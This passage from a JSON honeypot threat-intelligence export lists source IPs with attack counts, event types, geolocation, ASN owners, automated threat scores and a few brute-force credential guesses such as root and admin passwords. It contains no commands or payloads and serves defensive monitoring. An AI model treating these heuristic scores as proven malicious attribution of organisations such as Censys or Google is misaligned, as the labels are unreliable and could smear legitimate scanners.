      "as_org": "Amazon.com, Inc.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 8.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 10,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-13T00:55:09.553000+00:00",
        "last_seen_30d": "2026-03-22T01:07:38.087000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 8,
        "H0neytr4p": 1,
        "Honeytrap": 1
      }
    },
    "20.29.49.244": {
      "attack_count": 7,
      "first_seen": "2026-03-22T19:47:41.245Z",
      "last_seen": "2026-03-22T19:47:51.245Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T13:19:50+00:00",
        "last_seen_30d": "2026-03-27T20:41:02.324000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 10,
        "Cowrie": 7,
        "Ciscoasa": 2,
        "Dionaea": 1
      }
    },
    "65.49.20.68": {
      "attack_count": 7,
      "first_seen": "2026-03-26T06:47:57.229Z",
      "last_seen": "2026-03-26T06:47:57.402Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 576,
        "days_active_30d": 29,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-03T10:18:27+00:00",
        "last_seen_30d": "2026-03-31T09:31:37.223000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 368,
        "Honeytrap": 146,
        "H0neytr4p": 24,
        "Ciscoasa": 14,
        "Cowrie": 7,
        "Dionaea": 7,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Tanner": 3
      }
    },
    "101.36.108.178": {
      "attack_count": 6,
      "first_seen": "2026-03-26T02:57:20.937Z",
      "last_seen": "2026-03-26T02:57:36.379Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T11:58:13+00:00",
        "last_seen_30d": "2026-03-26T02:58:41.146000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 8,
        "Cowrie": 6
      }
    },
    "114.242.29.6": {
      "attack_count": 6,
      "first_seen": "2026-03-11T19:37:07.745Z",
      "last_seen": "2026-03-11T19:37:11.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Aa@123456",
        "RnPmgRzgTX"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T19:37:07.745000+00:00",
        "last_seen_30d": "2026-03-11T19:38:58.487000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "157.245.95.207": {
      "attack_count": 6,
      "first_seen": "2026-03-03T02:03:08.085Z",
      "last_seen": "2026-03-03T02:03:08.618Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:03:08.085000+00:00",
        "last_seen_30d": "2026-03-03T02:04:17.602000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "205.210.31.226": {
      "attack_count": 6,
      "first_seen": "2026-03-16T04:38:06.372Z",
      "last_seen": "2026-03-24T21:28:37.138Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T08:02:17+00:00",
        "last_seen_30d": "2026-03-31T03:20:58.476000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 26,
        "Cowrie": 6,
        "Mailoney": 5,
        "Dionaea": 3
      }
    },
    "66.228.53.174": {
      "attack_count": 6,
      "first_seen": "2026-03-29T13:41:08.228Z",
      "last_seen": "2026-03-29T13:41:08.568Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 84.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T18:16:12+00:00",
        "last_seen_30d": "2026-03-31T16:24:05.156000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 32,
        "Cowrie": 6,
        "Dionaea": 4
      }
    },
    "87.236.176.9": {
      "attack_count": 6,
      "first_seen": "2026-03-14T16:15:37.411Z",
      "last_seen": "2026-03-14T16:15:40.182Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T03:28:15.142000+00:00",
        "last_seen_30d": "2026-03-18T02:24:48.304000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 6,
        "Ciscoasa": 1
      }
    },
    "103.171.69.93": {
      "attack_count": 5,
      "first_seen": "2026-03-02T03:25:09.942Z",
      "last_seen": "2026-03-02T03:25:13.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Qwerty123#"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:25:09.942000+00:00",
        "last_seen_30d": "2026-03-02T03:26:20.691000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "116.99.168.214": {
      "attack_count": 5,
      "first_seen": "2026-03-07T07:31:17.031Z",
      "last_seen": "2026-03-07T07:31:19.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T07:31:17.031000+00:00",
        "last_seen_30d": "2026-03-07T07:32:23.680000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "147.45.60.22": {
      "attack_count": 5,
      "first_seen": "2026-03-23T05:22:40.992Z",
      "last_seen": "2026-03-23T05:22:42.952Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T19:15:43+00:00",
        "last_seen_30d": "2026-03-31T13:42:57.371000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "51.178.76.63": {
      "attack_count": 5,
      "first_seen": "2026-03-21T18:06:25.924Z",
      "last_seen": "2026-03-21T18:06:28.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T18:06:25.924000+00:00",
        "last_seen_30d": "2026-03-21T18:07:34.072000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "167.94.138.117": {
      "attack_count": 4,
      "first_seen": "2026-03-18T01:54:35.066Z",
      "last_seen": "2026-03-18T01:54:51.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 21,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T06:27:59+00:00",
        "last_seen_30d": "2026-03-22T06:36:07.561000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 38,
        "Cowrie": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "172.105.177.106": {
      "attack_count": 4,
      "first_seen": "2026-03-27T18:36:20.436Z",
      "last_seen": "2026-03-27T18:36:41.685Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 2875,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-27T18:36:13+00:00",
        "last_seen_30d": "2026-03-27T18:46:20.190000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1521,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "174.129.71.167": {
      "attack_count": 4,
      "first_seen": "2026-03-20T00:59:07.564Z",
      "last_seen": "2026-03-20T00:59:12.409Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-20T00:59:07.564000+00:00",
        "last_seen_30d": "2026-03-31T00:52:20.237000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeyaml": 1,
        "Honeytrap": 1
      }
    },
    "45.156.129.66": {
      "attack_count": 4,
      "first_seen": "2026-03-14T21:02:51.908Z",
      "last_seen": "2026-03-14T21:03:05.181Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 22,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:13:27.509000+00:00",
        "last_seen_30d": "2026-03-23T06:14:42.654000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 15,
        "Cowrie": 4
      }
    },
    "5.37.170.75": {
      "attack_count": 4,
      "first_seen": "2026-03-27T05:14:44.153Z",
      "last_seen": "2026-03-27T05:14:53.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:14:44.153000+00:00",
        "last_seen_30d": "2026-03-27T05:15:54.319000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "91.205.128.170": {
      "attack_count": 4,
      "first_seen": "2026-03-03T16:56:24.219Z",
      "last_seen": "2026-03-08T00:21:05.552Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 47895,
      "as_org": "LTD Erline",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:56:24.219000+00:00",
        "last_seen_30d": "2026-03-08T00:31:11.318000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "182.138.158.164": {
      "attack_count": 3,
      "first_seen": "2026-03-03T11:00:32.767Z",
      "last_seen": "2026-03-03T11:00:35.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:00:32.767000+00:00",
        "last_seen_30d": "2026-03-03T11:02:13.074000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "103.160.5.81": {
      "attack_count": 2,
      "first_seen": "2026-03-05T02:40:15.104Z",
      "last_seen": "2026-03-05T02:40:21.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 140764,
      "as_org": "CSD Group Technology JSC.",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T02:40:15.104000+00:00",
        "last_seen_30d": "2026-03-05T02:41:22.552000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "113.228.158.79": {
      "attack_count": 2,
      "first_seen": "2026-03-22T01:14:00.697Z",
      "last_seen": "2026-03-22T01:14:13.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T01:14:00.697000+00:00",
        "last_seen_30d": "2026-03-22T01:15:17.934000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.114": {
      "attack_count": 2,
      "first_seen": "2026-03-30T05:05:24.591Z",
      "last_seen": "2026-03-30T05:05:34.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T13:33:48+00:00",
        "last_seen_30d": "2026-03-31T03:49:46.416000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 26,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Honeyaml": 1
      }
    },
    "159.195.26.201": {
      "attack_count": 2,
      "first_seen": "2026-03-29T02:17:57.889Z",
      "last_seen": "2026-03-29T02:18:29.179Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T02:17:57.889000+00:00",
        "last_seen_30d": "2026-03-29T02:19:32.980000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.220.16": {
      "attack_count": 2,
      "first_seen": "2026-03-19T13:37:04.783Z",
      "last_seen": "2026-03-19T13:37:04.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:37:04.783000+00:00",
        "last_seen_30d": "2026-03-19T13:38:05.887000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "175.175.32.28": {
      "attack_count": 2,
      "first_seen": "2026-03-23T02:57:13.496Z",
      "last_seen": "2026-03-23T02:57:27.161Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:57:13.496000+00:00",
        "last_seen_30d": "2026-03-23T02:58:35.429000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.212.82.138": {
      "attack_count": 2,
      "first_seen": "2026-03-11T13:58:46.320Z",
      "last_seen": "2026-03-11T13:58:59.035Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:58:46.320000+00:00",
        "last_seen_30d": "2026-03-11T14:00:07.598000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.235.168.222": {
      "attack_count": 2,
      "first_seen": "2026-03-10T08:23:49.897Z",
